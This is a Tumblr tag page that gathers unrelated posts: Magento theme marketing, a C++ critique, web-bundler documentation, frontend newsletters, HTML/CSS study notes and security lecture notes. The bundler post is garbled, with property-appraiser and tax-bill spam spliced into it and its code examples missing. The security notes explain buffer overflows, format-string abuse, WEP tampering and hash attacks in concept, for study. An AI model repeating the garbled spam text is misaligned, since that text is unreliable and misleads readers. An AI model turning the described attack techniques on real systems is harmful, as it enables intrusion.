#there's no type issues in Javascript :P | Explore Tumblr posts and blogs

webmeridian · 2 years ago

Text

Why Invest In Implementing Hyvä Magento Theme [Updated]

Millions of stores worldwide work with Magento benefitting from the platform’s flexibility and scalability. Magento easily handles even the most complex projects; however, it is sometimes criticized for underperforming front-end, complexity in implementing improvements, and insufficient updates. Loading speeds, in particular, have a crucial effect on the ecommerce websites’ success. Moreover, after the recent updates in Google algorithms, poor loading speed may lead to a website’s failure to appear on the first page of search results.

In the 2021 Magento 2 community, Hyvä Magento Themes has created quite a stir. Its developers teased an alternative to Magento 2 Frontend with less complexity, more remarkable performance, and an enhanced development experience since October 2020. They intended to do this by removing cumbersome JS libraries and streamlining the stylesheet. If Hyvä didn’t already have everyone’s attention, it does now.

If you just want an appealing, well-optimized shop that nevertheless enjoys the benefits of robust Magento capabilities, Hyvä offers a fresh viewpoint.

Think of the Hyvä Magento 2 theme as an improved Luma for Magento. It is a frontend that the latter may have developed into but was unable to. In addition, Hyvä is a PWA substitute that frees you from the constraints of the JavaScript-only web.

In the sections below, you may learn more about the Hyvä theme for Magento, why it is superior to alternatives and whether it’s worth implementing on your website.

What Exactly Is Hyvä Magento Theme?

Essentially, Hyvä is Magento’s front-end theme, providing rich functionality. It encompasses a toolkit, a range of extensions, and comprehensive support.

Hyva Theme has already marked its path with great success. Originally, Magento 2 Hyva theme stems from Magento 2; however, it provides multiple creative opportunities for expanding the given capacity. With superior speed and performance, Hyva can efficiently substitute PWA releasing you from the constraints of the JavaScript-only web.

Which features does Hyvä Magento bring to the table?

Simplicity

The theme is created from the ground up with the utilization of a PHP-templating system integrated into Magento. The front-end has been comprehensively rebuilt for maximum ease of use. It delights developers, as the theme excludes the elements they dislike, such as RequireJS, Knockout, UIComponents.

Enhanced performance

This is what Magento Hyvä themes are extolled for. Gaining maximum by all paramount metrics in the Google search engine, the solution outperforms both Luma and PWAs. Ultimately, it can help users raise their SEO rankings.

Minimum time-to-market

Taking its roots in Magento, the theme is prompt and effortless for Hyva Magento developers to implement. They can save up to 50% of time when building the Hyva theme, thereby reducing the time needed to run the store.

Abundant functionality and opportunities

Users can enjoy more than 140 compatible extensions, integrated updates, and communication with a support community.

Which components do Hyvä themes for Magento include?

For the convenience of developers and consumers, Hyvä eliminates bulky elements making syntax straightforward and intuitive.

Hyva removes:

RequireJS

jQuery

KnockoutJS

LESS

UI Components

Hyva includes:

TailwindCSS

AlpineJS

GraphQL

React

Webpack

Usage Statistics of Hyvä Magento Theme in 2023

Conceived in 2019, Hyva is still a new technology that confidently expands all over the world. Thanks to its remarkable benefits and the way it relieves the issues with Luma, the solution has made a sound statement on the software development landscape.

The chart below demonstrates Hyvä themes usage statistics according to the website types. Although Hyvä is a comparatively small player in the market, it showcases incredible growth and accounts for over 2,000 users.

Hyva’s popularity is confirmed by the significant traffic numbers: over 77,000 visits per month, with a continual upward tendency. Furthermore, Hyvä Magento themes penetrate numerous sectors, including:

Ecommerce business,

Corporate websites,

Culture and society sites,

Entertainment websites,

Health and wellness sites,

Lifestyle sites, and more.

Experts forecast further increase in the number of Hyva adepts since, currently, the majority of consumers praise the solution and report the upgrades in their websites’ operation and conversion rates.

What Advantages Come With Utilising Hyvä Magento Themes?

Hyvä Themes’ advantages for developers include less complexity. The theme builder does not need developers to have any specialized skills.

Developers are the focus of Hyvä Themes. Its user interface is straightforward and streamlined, making it simple and trouble-free to build themes.

Fewer dependencies are also involved, accelerating development and improving website performance.

Benefits of Hyvä Magento Themes for Developers:

SEO. A website’s lack of responsiveness is viewed as a “black mark.” When it comes to search engine optimization, Google will consider this. A website that adheres to SEO best practices is more likely to appear in Google search results. A website must load quickly, be clear to read and be simple to use in order to improve SEO. All of these criteria are met by Hyvä themes. Hyvä Themes are entirely responsive and compatible with a range of gadgets. Customers may quickly visit your site using a PC, tablet, or smartphone.

Flexibility. Almost any store owner wishes to make their online store stand out through unique design and features as well as give their customers a better user experience, so flexibility and customizability are crucial considerations when choosing a theme. Hyvä Themes offers great flexibility in terms of versatility and customization by utilizing contemporary frameworks.

The influence of a community. Thanks to a private Slack group, you get access to the Hyvä community and assistance when you buy a Hyvä theme.

Continual improvement. Regular updates add new features and functionalities to Hyvä Themes.

As for Disadvantages, They Look as Follows:

Pricing. When opposed to Luma-based themes, the license fee for the Hyvä theme seems to be relatively high at first glance. When the elements mentioned above are considered, this view relativizes rather quickly upon second glance. One often spends more when utilizing a Luma theme by itself to improve performance than the Hyvä theme’s buying price (while experiencing performance that is still subpar). Hyvä is related to prospective additional savings.

Trendy technologies. It would be best if you tracked out experts who are familiar with Hyvä technology. Although Magento 2 themes are well-known to developers, Hyvä has a few nagging issues that are constantly there in the background.

Incompatibility. Another flaw of Hyvä is its incapacity to support third-party extensions out of the box. However, Hyvä offers compatibility modules to address the issue. Elasticsuite, Sentry, and Google Tag Manager Extensions are a few examples of possible solutions.

The Hyvä idea is simply too compelling and robust, both technically and commercially. The guys behind Hyvä are not just any folks; they have been engaged in the Magento community for a long time. They contribute not only the required skills but also the motivation and conviction to guarantee that Hyvä + Magento will continue to be, over time, the ideal combination for carrying out e-commerce projects of all shapes and sizes.

Reasons to Implement Hyvä Magento Themes

It’s a great chance to redesign the page without spending too much money.

When using Hyvä, you must virtually start again when building your page’s Frontend layer. This indicates that you may implement a new design with a high probability that the optimization and redesign won’t be noticeably more expensive than extensive and thorough performance optimization. Our guiding principle is to go slowly and deliberately, but in this instance, doing both at once makes total sense.

2. The newly adopted Hyvä theme will be lighter, more contemporary, and simpler to maintain going forward.

The pattern indicates that Google will unquestionably raise the bar for expected page experiences. You have a much better starting point for optimization work using Hyvä. Going the Hyvä route will result in far higher overall outcomes than you could probably ever attain with your existing theme. The out-of-the-box theme will produce considerably better results.

3. Hyvä is the newer technology.

In general, it costs less to maintain newer technologies. Unbeknownst to you, the technology stack that powers the default Magento Luma theme was chosen roughly 10 years ago when Magento 2.0 development got underway. Luma’s optimization job is already getting more challenging and time-consuming. Some activities are more expensive to complete, while others are just not feasible. The issue will only become worse. With Hyvä, you may prepare for the future.

4. Hyvä’s creators and implementers are enthusiastic about the performance.

The network of engineers and businesses using Hyvä to enhance performance will continue to expand. On the other hand, the number of developers who are knowledgeable about and skilled in optimizing Luma may decrease.

5. Hyvä has a fantastic and vibrant community; new things always appear.

It’s possible that something that wasn’t offered last month has already been provided by one of the Hyvä Partners or Suppliers or adopted by Hyvä as a business. There is a good probability that contributions from the community will benefit you.

6. Components of buildings with Hyvä are frequently more comfortable for the engineer.

Working with Hyvä is a joy for developers. From a commercial standpoint, you should anticipate that if something happens, it will be simpler to find a replacement for your existing developer.

Key Takeaways For Hyvä Magento Theme

Hyvä Magento theme is a new yet popular solution that brings the functionality of your webstore to the next level. It effectively addresses the issues encountered with Luma, the default theme for Magento, and considerably eases the developers’ task.

The fundamental distinguishing feature of the Hyva Magento theme is an excellent website performance it provides. Another differentiator is the opportunity for upgrades that allows responding to fresh technology trends. The savings in time and costs for Hyva theme development are likewise meaningful factors in favor of this solution.

We have thoughtfully analyzed Hyva’s upsides and downsides to offer you a clear picture of the product’s capacity and help you identify whether and how you should leverage it for your business.

Our team is passionate about working with Magento as a mighty and scalable ecommerce platform with plentiful features. We provide exquisite Magento Hyva theme development services that consider your goals and your CMS capacity. After analyzing your ideas and plans, we will come up with implementation recommendations that will elevate the functionality and performance of your website.

We will integrate Hyva Magento 2 theme, enabling you to squeeze maximum benefits from its use while avoiding pitfalls. Boasting a tremendous experience with Magento 2 themes, we have an excellent background to help your business prosper.

Do you want our assistance creating your Hyvä Magento store? Contact us now to discuss Magento 2 theme development!

#Magento Theme #magento 2 #magento development company #magento #magento development services

1 note · View note

csharp-official · 9 months ago

Text

I haven't really wanted to write down a comprehensive argument because this is something that could take literal days and I don't really feel like investing this much time into a Tumblr post, especially when general arguments have been done ages ago. (this page was made before "Modern C++", but "Modern C++" did not fix those issues.)

What I consider a fundamental problem of C++ is that the C++ developers will heroically fight against problems non-existent in any other programming language.

I have been using "Modern C++", in fact my experience with using it was what convinced me that this language is truly unsalvageable.

For every new language feature they introduced two new pitfalls to fall in

"uniform initialization syntax" will prefer initializer_list constructor, making some constructors impossible to call

initializer_list is incompatible with move-only types

"random_engine" can legally return non-random data

unordered_map is hilariously inefficient because the specification of the interface (the bucket garbage) forces it into using an inefficient implementation

regexes do not support unicode making them useless in 2024

in fact, lack of even most rudimentary UTF-8 support: (introduced in C++11) (deprecated in C++17) (removed in C++26) speaks for itself. "The reason for removal is that this feature no longer implements the current Unicode Standard, supporting only the obsolete UCS-2 encoding." what the fuck UCS-2 was deprecated in 1996 what the committee was smoking here

the new pseudo-random number generators are great but no one thought of an easy answer to "how to create a seeded generator" and "how to get a random number from [A; B) without creating a new uniform distribution every time" making it look overengineered instead

even if we ignore that there is still a ton of legacy code that already exists and by the time the std::optional and others became standard everyone else was making their own bespoke implementations, non-interoperable with each other (this also applies to strings, to a lower degree: QString in Qt exists because Qt is older than the built-in string type)

the extensive use of templates results in compile times taking forever because of the huge header file sizes (this one is supposed to be fixed with C++ modules but I honestly stopped holding my breath, and instead switched languages)

$ cat a.cpp #include <iostream> #include <vector> #include <tuple> #include <memory> #include <optional> #include <unordered_map> #include <variant> $ g++ a.cpp -E | wc -c 1438212

(1.4MB)

and due to how template instantiation works (this is one is not fixed by C++ modules, the upcoming experimental Carbon language went fuck it and made its own generics system from scratch because C++ templates are a clusterfuck)

I also don't really see the validity of the point about syntax highlighting, linting, debugging, and so on--these are solved problems with LSP servers and major editors

the reason why I pointed these out is because C++ syntax is FUBAR and a piece of code like, let's say

A<B> C;

::std::vector<std::string::iterator> a; // variable declaration

(a < b) > c; // useless expression that is immediately dropped

without doing so much work that it's easier to let compiler do it for you instead. The complexity of the existing code means the new features get implemented later and with more bugs over the competing languages.

we have quite powerful debuggers in gdb and lldb

gdb is absolutely terrible thanks to its own design and lldb was still not ready for its prime back when I used it (2016) and kept crashing. It's why I relied on Visual Studio's debugger instead because at least that one could reliably preview std::vector<T>'s elements without me needing to

(gdb) p *(vec._M_impl._M_start + 5)

C never made promises in the first place. Rust successfully addresses low-level development needs (in some cases at least, gcc has still wider platform support than LLVM). Java, Kotlin, Swift, C#, JavaScript, Python address high-level development needs. The niche which C++ resides at gets smaller and smaller. I do not think C++ is out to die yet, as languages never truly die but eventually the new projects stop being created in them, and I hope this will happen to C++ eventually.

I actually enjoy coding in C++ way more than python or C# even though I was told those were easier. Idk it just feels a lot simpler to understand.

#cplusplus

34 notes · View notes

lottoloading579 · 4 years ago

Text

Parcel Port

Parcel is a web application bundler, differentiated by its developer experience. It offers blazing fast performance utilizing multicore processing, and requires zero configuration.

Highlands County Property Appraiser ⋅ 560 S. Commerce Avenue ⋅ Sebring, Florida Office Hours: 9:00 a.m. Monday - Friday ⋅ Phone: (863) 402-6659. Port Property has been making home happen for more than 25 years. A locally owned and operated business, we invest in, construct and manage the properties that southern Maine’s workforce call home. Our experience and expansive portfolio ensure exceptional quality and customer service for our residents. Property Search. How to search for permits on a property: Enter the house number and street address. (less is best) Click Submit. Next click on the Property KEY to bring up all permits on that property. Please note – Two addresses may show. Billed Amounts & Tax History. Search to see a 5-year history of the original tax amounts billed for a PIN. Once you search by PIN, you can pay your current bill online or learn additional ways to pay by clicking More Tax Bill Information on the next page. The Cook County Treasurer’s Office provides payment status for current tax years and the ability to pay online.

First install Parcel using Yarn or npm:

Yarn:

npm:

Create a package.json file in your project directory using:

Parcel can take any type of file as an entry point, but an HTML or JavaScript file is a good place to start. If you link your main JavaScript file in the HTML using a relative path, Parcel will also process it for you, and replace the reference with a URL to the output file.

Next, create an index.html and index.js file.

NB: Parcel converts JS assets to ES5, which won't run in in the context of a <script type='module'> tag, so just use plain <script> tags with no type attribute in your source HTML.

Parcel has a development server built in, which will automatically rebuild your app as you change files and supports hot module replacement for fast development. Point it at your entry file:

Now open http://localhost:1234/ in your browser. If hot module replacement isn't working you may need to configure your editor. You can also override the default port with the -p <port number> option.

Use the development server when you don't have your own server, or your app is entirely client rendered. If you do have your own server, you can run Parcel in watch mode instead. This still automatically rebuilds as files change and supports hot module replacement, but doesn't start a web server.

You can also use createapp.dev to create a Parcel project in the browser. Select the features you need such as React, Vue, Typescript and CSS, and you will see the project being generated in real-time. You can use this tool for learning how to set up a new project and you can also download the project as a ZIP-file and get started coding instantly.

Multiple entry files

In case you have more than one entry file, let's say index.html and about.html, you have 2 ways to run the bundler:

Specifying the file names:

Use tokens and create a glob:

NOTE: In case you have a file structure like this:

Parcel Portal

Going to http://localhost:1234/folder-1/ won't work, instead you will need to explicitly point to the file http://localhost:1234/folder-1/index.html.

Building for production

When you're ready to build for production, the build mode turns off watching and only builds once. See the Production section for more details.

Adding parcel to your project

Sometimes it's not possible to install Parcel globally e.g. if you're building on someone else's build agent or you want to use a CI to build your project programmatically. In this case, you can install and run Parcel as a local package.

To install with Yarn:

To install with NPM:

Then, add these tasks scripts to your project, by modifying your package.json:

Then, you will be able to run it:

Help us improve the docs

Us Mail Parcel Post

If something is missing or not entirely clear, please file an issue on the website repository or edit this page.

1 note · View note

speed-seo · 2 years ago

Text

Optimising Interaction to Next Paint for Better Website Responsiveness: Key Takeaways from Expert Webinar

With user expectations higher than ever, delivering a smooth, responsive browsing experience is crucial for success. A key metric that evaluates responsiveness is Interaction to Next Paint (INP), which measures the time from user input like clicking until visual feedback is provided. In a comprehensive webinar, experts from Google and NitroPack dove deep into I.N.P., providing invaluable insights and proven techniques to optimise it. https://youtu.be/XpSUlncKExc?si=C8xHxE-XmJiFVtWL How to Improve Interaction to Next Paint (INP) The Business Impact of Improving I.N.P. Adam Silverstein of Google kicked off explaining why website responsiveness matters. Poor I-N-P leads to unhappy users, more cart abandonment, and increased bounce rates. However, improving responsiveness provides better engagement and directly boosts conversions. Silverstein shared examples like Economic Times which reduced I.N.P. from 1000ms to 250ms, cutting bounce rates in half and increasing page views. RedBus also improved INP significantly, driving higher sales as a direct result. What exactly does INP measure? Barry Pollard of Google provided an in-depth look at what exactly I.N.P. measures. It evaluates the time from common user interactions like clicks, taps, or typing to the browser's next opportunity to update the screen. This provides visual feedback that the input was received and is being processed. Unlike older metrics like FID that only measured the first interaction, INP looks at all interactions on the page and assesses the longest one. The target for a good I.N.P. score is under 200ms on both desktop and mobile. Diagnosing the Root Causes of Slow I.N.P. Pollard explained that typical causes of slow I.N.P. include: - Bloated JavaScript and DOM - Complex CSS selectors - Poorly optimised code - Third-party scripts Isolating exactly which interactions are slow can be challenging without real user data from RUM tools. Lab tests alone often fail to surface I.N.P. issues accurately. Optimisation Strategies to Improve INP Ivailo Hristov of NitroPack provided actionable optimisation strategies, including: - Simplifying the DOM structure and CSS rules - Splitting heavy processing into smaller chunks - Offloading work to web workers - Lazy loading non-critical assets He demonstrated these techniques live on example sites, improving INP from 400ms down to 130ms. For WordPress sites specifically, optimising the DOM and CSS tends to provide significant gains. Monitoring I.N.P. and Making Incremental Improvements The experts emphasised that optimising I..N.P. must be an ongoing process, not a one-time fix. Monitoring real user data identifies issues, then incremental improvements can boost scores. As I.N.P. becomes a Core Web Vital in 2023, improving responsiveness now future-proofs websites. While I.N.P. will be officially measured soon, enhancing responsiveness delivers better UX and business metrics immediately. With a few key strategies, developers can reduce frustrating lag and deliver the seamless interactivity that modern users expect. Mastering INP optimisation separates high-performance sites from the competition. Read the full article

0 notes

t-baba · 6 years ago

Photo

Firefox 70 is here

#414 — October 23, 2019

Read on the Web

Frontend Focus

Firefox 70 Released — The latest release includes a handful of interesting CSS changes, such as the display property now accepting two keyword values (for setting both inner and outer display types), password generation for input type='password' fields, improved underline styling, and more. There's also the usual Firefox 70 for developers post outlining all the key changes in a bulletpoint fashion.

Mozilla

Focusing on Focus — Focus behavior in Web browsers has been in flux and under-specified for years. Efforts are now underway to clear up some of the confusion (particularly around Shadow DOM and autofocus) and begin to firm up the specs “to hopefully make focus in HTML make sense to browser engineers and web authors”.

Rakina Zata Amni (WHATWG)

Frontends Without Backend with FaunaDB Auth + Native GraphQL — FaunaDB is a globally distributed, scalable database. Thanks to built-in security and native GraphQL, frontends can directly communicate with FaunaDB in a secure way which eliminates the need to pass through a backend and greatly reduces latency.

FaunaDB sponsor

The "P" in Progressive Enhancement Stands for "Pragmatism" — Demonstrates how using progressive enhancement with CSS can be used to build things up gradually. “With a Progressive Enhancement mindset, support actually means support. We’re not trying to create an identical experience: we’re creating a viable experience instead.”

Andy Bell

Can We Please Style The <select> Control? — Highlights issues developers are facing when working with the the built-in <select> element, and what efforts are being undertaken to hopefully improve it.

Greg Whitworth

Style Hover, Focus, and Active States Differently — Why you should (and how to) style hover, focus, and active states differently.

Zell Liew

💻 Jobs

Frontend Developer at X-Team (Remote) — Work with the world's leading brands, from anywhere. Travel the world while being part of the most energizing community of developers.

X-Team

Have You Tried Vettery? — Vettery specializes in tech roles and is completely free for job seekers. Create a profile to get started.

Vettery

📙 Articles, Tutorials & Opinion

Making Tables Responsive with Minimal CSS — When creating table-based layouts you may be tempted to implement some sort of custom grid-system or pull in a pre-built library. The author argues against this, recommending using just “tables and some simple CSS”.

Bradley Taunt

Box Alignment and Overflow — Runs through a data-loss issue you may face when using box alignment properties in certain scenarios, and highlights how the 'safe' overflow alignment keyword can help prevent such a loss.

Chen Hui Jing

State Management for Flutter Apps with MobX — Learn how to use MobX to ease state management on a Flutter project.

CircleCI sponsor

How to Design Delightful Dark Themes — Plenty of practical tips here on how to design dark themes that are “readable, balanced, and delightful”.

Teresa Man

Options for Hosting Your Own Non-JavaScript-Based Analytics — Rounds-up a range of alternatives to Google Analytics.

Chris Coyier

The 'Perfect' Responsive Menu — Here’s how to create a menu that is accessible and works across mobile and desktop browsers without any duplication.

Polypane

JAMstack Tools and The Spectrum of Classification — An overview of JAMStack services and tools, along with some notes on their pros and cons.

Chris Coyier

The React Hooks Guide: In-Depth Tutorial with Examples. Start Learning

Progress KendoReact sponsor

An Introduction to Regular Expressions for Web Developers

Chris Achard

🔧 Code, Tools & Resources

Peaks.js: Interact with Audio Waveforms — A client-side JavaScript component to display and interact with audio waveforms in the browser. Here’s the related GitHub repo.

Indrek Lasn

TinaCMS: A Site Editing Toolkit for Modern React-Based Sites — An open-source real-time site editing toolkit currently aimed at Gatsby and Next.js users.

Tina

Open Doodles: A Collection of Free CC0 'Sketchy' Illustrations — You can even generate a set with your own custom colors (as above).

Pablo Stanley

Typetura: Fluid Typesetting — We linked to this responsive typography tool when it was in beta earlier this year, and now it’s generally available (paid). It'll help set up text transitions between breakpoints — here’s a demo of it in action.

Typetura

▶ A Realistic 'Water Effect' with Just HTML & CSS — A very convincing effect using the <feTurbulence> SVG filter. Here's the code.

Red Stapler

🗓 Upcoming Events

VueConfTO 2019, November 11-12 — Toronto, Canada — The first ever Vue Conference in Canada.

Chrome Dev Summit, November 11-12 — San Francisco, USA — A two-day summit to learn about the latest from Chrome, plus techniques for building the modern Web. Note: Registrations are now closed, but the event can be joined remotely.

Performance Now, November 21-22 — Amsterdam, Netherlands — A single track conference with fourteen speakers, covering the most important web perf insights.

HalfStack Conf, November 22 — London, UK — A single day event focused on UI-centric JavaScript and web development.

Frontend Con, November 26-27 — Warsaw, Poland — Brings together 30+ experts with over 500 experienced frontend pros from all over the world.

dotCSS, December 4 — Paris, France — The largest CSS conference in Europe.

by via Frontend Focus https://ift.tt/2Jgg4vc

#HTML5 Branding #HTML5 Weekly

3 notes · View notes

ernestsdesign · 6 years ago

Text

HTML (and CSS) from the basics...

A web browser’s Purpose is to read HTML documents and display them accordingly in a manner that lets the world to read and see.

The internet was created so that anyone can access documents from anywhere in the world.

Looking at HTML and CSS

Responsive web design is one that work on all screens and an amazing book going over this is Ethan Marcotte’s, “Responsive web design”.

Understanding elements of RWD (Responsive Web Design)-

I can control the viewpoint by adding more padding so that the information is easier to read, I could create flexible grids on CSS grid and flexbox, I could make media responsive by adding “mouse-over” events to let users know the image holds a certain action with it and I could create suitable breakpoints, for example three media queries which cater for different screen resolutions.

Back to the basics

HTML stand for “HyperText Markup Language”. There are many editors such as brackcets, Atom and NetBeans amongst others. It is important to keep everything in lowecase when coding in HTML as this makes presentation more visual and lets the user know its a html website. All HTML tags start with and end with >.

Every webpage is made up of the head and body sections.

HTML Headings- range from H1 to H6 (usually) HTML Paragraphs- listed as “p” within the brackets, this is where regular text is held HTML Images- these are pulled in as a resource that allows the web browsers to show images from a selected destination HTML Links- these can be either internal or external that lead from one page onto another HTML Buttons- these are visible entities which usually contain colour HTML Lists- can either be “ul” (unordered list) or “ol” (ordered list), and each list item is known as “li” (list items) HTML Attributes- Href links, src of image, alt attribute, width and height attribute are all examples of attributes HTML Blockquotes- these are displayed as highlighted words, in quotation marks HTML Comments- Can be used for comments to make other designers aware of what has been done, but can also be used to make certain things invisible so you can fix issues Character sets- eg. to create euro sign, UTF-8 Sectioning elements- nav, aside, article, section, body

Link targets can open a selected link in a new window tab.

Images should be no more than 1MB and if that is the case then the image(s) shoulde be compressed.

All images associated with the HTML webpages should be contained in a separate folder, usually labelled as “img”.

The “div” should be used for sections and these position content with no meaning. In every webpage, there is just one header and footer and these should be consistent throughout the website.

On the header usually is displayed the logo, search form and navigation. On the footer is usually displayed the author’s name, social media, post/updated date, meta data and foot notes.

CSS stands for “Cascading Style Sheet”

“sstyle.css” is the name of the file that will contain all CSS styling

“Portfolio” should be name of my folder before accessing the website.

Body { Color: #FF0000; }

The above line of code basically tells the HTML site to display a red coloured background for the webpage.

Working with CSS can sometimes not work out as it should and therefore a copy should be saved every so often.

The HTML is able to link everything together including the CSS and Javascript files and all of these files require HTML to work, which is because the browser first finds the HTML file.

/* This is color */ The example above shows how comments should be displayed on all CSS files.

A single target in CSS, such as the h1 can change more than 1 entity for example its color can be changed, font size, text align and font family.

When using CSS, the font size should be listed as “em”.

All HTML webpages should be linked to one CSS stylesheet.

Underlines- text-decoration: none; (eg. for links to take away underline) text-align: left; (to make text go from left to right) font-family: (lets the CSS file display a selected font type)

CSS Box Model

This is essentially a box that wraps around every HTML element and can include:

content- the words used

padding- around top, bottom and sides of hedings etc.

border- comes after padding, beyond the padding

margin- spaces between boxes, background, margins are not always transparent and tehy are not included in the click area of an element unlike padding

CSS Selectors

class selectors can be used for one paragraph to put it into a different color. For example a class could be called “synopsis” which would then be styled in CSS as a “.synopsis” element. When choosing a class name, the actual name is not as important as long as it is unique.

container divs can be used to divide content.

Basic link styles include:

:link- never visited

:visited- has been visited

:hover- users mouse over

:active- being pressed down

ID selectors contain only one element per page with a particular ID and it starts with # in CSS.

Example: (hashtag) button-2 { color: blue;

#ixd301 #website

1 note · View note

comp6841 · 6 years ago

Text

Lectures - Week 5 (Mixed)

Vulnerabilities

One of the most fundamental concepts in security is the idea of a vulnerability - a flaw in the design of a system which can be used to compromise (or cause an unintended usage of) the system. A large majority of bugs in programming are a result of memory corruptions which can be abused to take control - the most ubiquitous example of this is the buffer overflow; the idea that you can overwrite other data alongside a variable which can change both data and control of a program. The common case is when programmers fail to validate the length of the input when reading in a string in C. Another fairly common bug relates to the overflow of unsigned integers; failing to protect against the wraparound can have unintended consequences in control flow.

‘NOP Sled’

Richard also mentioned in the 2016 lectures the idea of a NOP sled which I found quite interesting. The idea is that due to run time differences and randomisation of the stack, the address the program will jump to (from the return address) can sometimes be difficult to predict. So to make it more likely it will jump where the attack wants, he converts a large set of memory to NOP (no operation) instructions which will just skip to the next one; then finally after the “NOP sled” his code will execute.

printf(”%s Printf Vulnerabilities”);

One of the most hilarious programming vulnerabilities related to the usage of the printf function. Basically if you have an input which is accepted from the terminal and you plug this (without parsing) into a printf, an attacker could potentially feed in an input such as “%s”. (i.e. the title) Now since you haven’t specified a 2nd argument, it will just keep reading all the variables in memory until you hit a “\0″. In fact you can abuse this even further to overwrite memory with the “%n” format string - it will overwrite an integer with the number of characters written so far.

Handling Bugs

Many of the bugs we know of today are actually reported in online databases such as the National Vulnerability Database or Common Vulnerability & Exposures (CVE) Databases. There is actually lots of pretty cool examples online in these, however most of these have been actually fixed - we call them zero day vulnerabilities if the vendor hasn’t fixed them (and if they are then abused then zero day exploits).

When working in security, it’s important to understand the potential legal consequences associated with publicly releasing damaging vulnerabilities in software. This is where responsible disclosure comes in - the idea that if you find a bug you disclose it to a software vendor first and then give them a reasonable period of time to fix it first. I think I discussed an example from Google’s Project Zero Team a couple weeks ago - however just from a quick look there was a case in March where their team released the details on a flaw in the macOS’s copy-on-write (CoW) after the 90 day period for patching. (it’s important to note they gave them reasonable time to fix it)

OWASP Top 10

This was a pretty cool website we got referred to mainly regarding the top bugs relating to web security (link); I’ll give a brief overview here:

Injection - sends invalid data to get software to produce an unintended flow of control (i.e. SQL injection)

Broken authentication - logic issues in authentication mechanisms

Sensitive data exposure - leaks in privacy of sensitive customer data

XML External Entities (XXE) - parsing XML input with links to external bodies

Broken action control - improper access checks when accessing data

Security misconfigurations - using default configs, failing to patch flaws, unnecessary services & pages, as well as unprotected files

Cross-Site Scripting (XSS) - client injects Javascript into a website which is displayed to another user

Insecure deserialisation - tampering with serialization of user data

Using components with known vulnerabilities - out of date dependencies

Insufficient logging and monitoring - maintaining tabs on unusual or suspicious activity, as well as accesses to secure data

Some Common Bugs

Just a couple of the bugs that were explored in some of the 2016 lecture videos:

Signed vs unsigned integers casts - without proper checks can lead to unintended control flow

Missing parenthesis after if statement - only executes next line and not all within the indentation

Declaring array sizes wrong - buf[040] will be interpreted as base 8

Wrong comparators - accidentally programming ‘=‘ when you intended ‘==‘

A lot of the more common bugs we used to have are getting a lot easier to detect in the compilation process; GCC has a lot of checks built in. Valgrind is also a really awesome tool to make sure your not making any mistakes with memory.

WEP Vulnerability

I actually discussed this idea already in the week 1 lectures here - just for the sake of revision I will give a basic overview here. The basic idea is that WEP uses a stream cipher RC4 which XORs the message with a key; however the issue is that we know information about the structure of TCP/IP packets. Within a local network the local IPs are usually of the form A.B.C.D (i.e. 192.168.20.4 for a specific computer) where each letter represents a byte in the range 0-255. (0-255 are usually reserved and not used for computers in the network) Due to subnetting (i.e. with a subnet mask 255.255.255.0 on private network) the last byte D is usually the only one that changes - this means we effectively have 254 combinations.

Since we know where the destination address is located within the packet, an attacker can potentially record a packet and modify this last byte - they can send out all 256 possible combinations to the router (remember it’s encrypted so we can’t limit it to 254). The router will then decrypt the message and then encrypt it with the key used for communications with the attacker - and voila the system is compromised.

Hashes

Richard gave a brief overview of the basis of many of our hash functions which is the Merkle-Damgard construction. The basic idea behind it is to break the message into blocks - the size varies on the hash type and if its not a multiple of the required length then we need to apply a MD-compliant padding function. This usually occurs with Merkle-Damgard strengthening which involves encoding the length of the original message into the padding.

To start the process of hashing we utilise an initialisation vector (number specific to the algorithm) and combine it with the first message block using a certain compression function. The output of this is then combined with the 2nd message block and so forth. When we get to the end we apply a finalisation function which typically involves another compression function (sometimes the same) which will reduce the large internal state to the required hash size and provide a better mixing of the bits in the final hash sum.

Length Extension Attacks

I think after looking at the Merkle-Damgard construction it now becomes pretty obvious why using MACs of the form h(key|data) where the length of the data is known are vulnerable to length-extension attacks. All you need to be able to reverse in the above construction is the finalisation function and the extra padding (which is dependent upon the length which we’re assuming we know); then you can keep adding whatever message blocks you want to the end!

Digital Signatures

The whole idea behind these signatures is providing authentication - the simplest method of this is through asymmetric key encryption (i.e. RSA). If your given a document, you can just encrypt it with your private key - to prove to others that you indeed signed it, they can attempt to decrypt it with your public key. There is a problem with this approach however - encryption takes a lot of computation and when the documents become large it gets even worse. The answer to this is to use our newfound knowledge of hashing for data integrity - if we use a hash (’summary of the document’), we can just encrypt this with our private key as a means of signing it!

Verifying Websites

One of the hardest issues we face with the ‘interwebs’ is that it is very difficult to authenticate an entity on the other end. We’ve sort of scrambled together a solution to this for verifying websites - certificate authorities. (I could go on for ages about the problems with these being ‘single points of failure’ but alas I don’t have time)

The idea behind these bodies is that a website will register with the entity with a specific public key. The CA will then link this public key (in a “big ol’ secure database”) with the ‘identity’ of the website. To understand how it works its best to consider the example of when you access any website with HTTPS. (i.e. SSL) When you visit www.example.com, they will then provide their public key and a digital signature of key (signed by the cert authority’s private key) in the form of a X.509 certificate. The user will have access to CA’s public key as part of their browser and will then be able to verify the identity of the website. (the cert is encrypted with the CA’s private key - see above image) An attacker is unable to fake it as they don’t know the certificate authorities’ private key.

Attacking Hashed Passwords

Given there is only a limited number of potential hashes for each algorithm, there is a growing number of websites online which provide databases of plaintext and their computed hashes - these are what we refer to as hash tables. We can check a hash very quickly against all the hashes in this database - if we find a match, we either know the password or have found a collision.

Rainbow tables are a little more complex - in order to make one you need a hashing function (the same as the password) and a reduction function; the latter is used to convert the hash into text (i.e. a base64 encode and truncation). These tables are made of a number of ‘chains’ of a specified length (let’s say we choose 1,000,000) - to create a chain you start with a random seed then apply both the above functions to this seed. You then iteratively do this process another 1,000,000 times (chosen length) and store the final seed and value (only these). In order to try and determine a match to the rainbow table, you apply the same two functions to the password for the required length - however, at each step you compare the hash to the result of each of the chains in the table. If you find a match, you can reproduce the password.

Both of the attacks against password hashes described above rely on an attacker doing a large amount of work in advance, which they will hopefully be able to use in cracking many passwords in the future. (it’s basically a space-time tradeoff) An easy way we can destroy all the work they have done is through a process known as salting. Basically what you do is generate a random string which you concatenate with the password when creating a hash - you need to store this alongside the password in order to check it in future. This means an attacker can’t use pre-computed tables on your hash; they have to do all the work again for your particular salt!

Richard discussed another interesting concept called ‘key stretching’ in the lectures - it’s basically the idea that you can grab a ‘weak password hash’ and continuously hash it with a combination of the (’hash’ + ‘password’ + ‘salt’). This process of recursively hashing makes it insanely difficult for an attacker to bruteforce. This is combined with the effects of a ‘salt’ which (on its own) renders rainbow tables (’pre-computed hashes’) useless.

Signing Problems with Weak Hashes

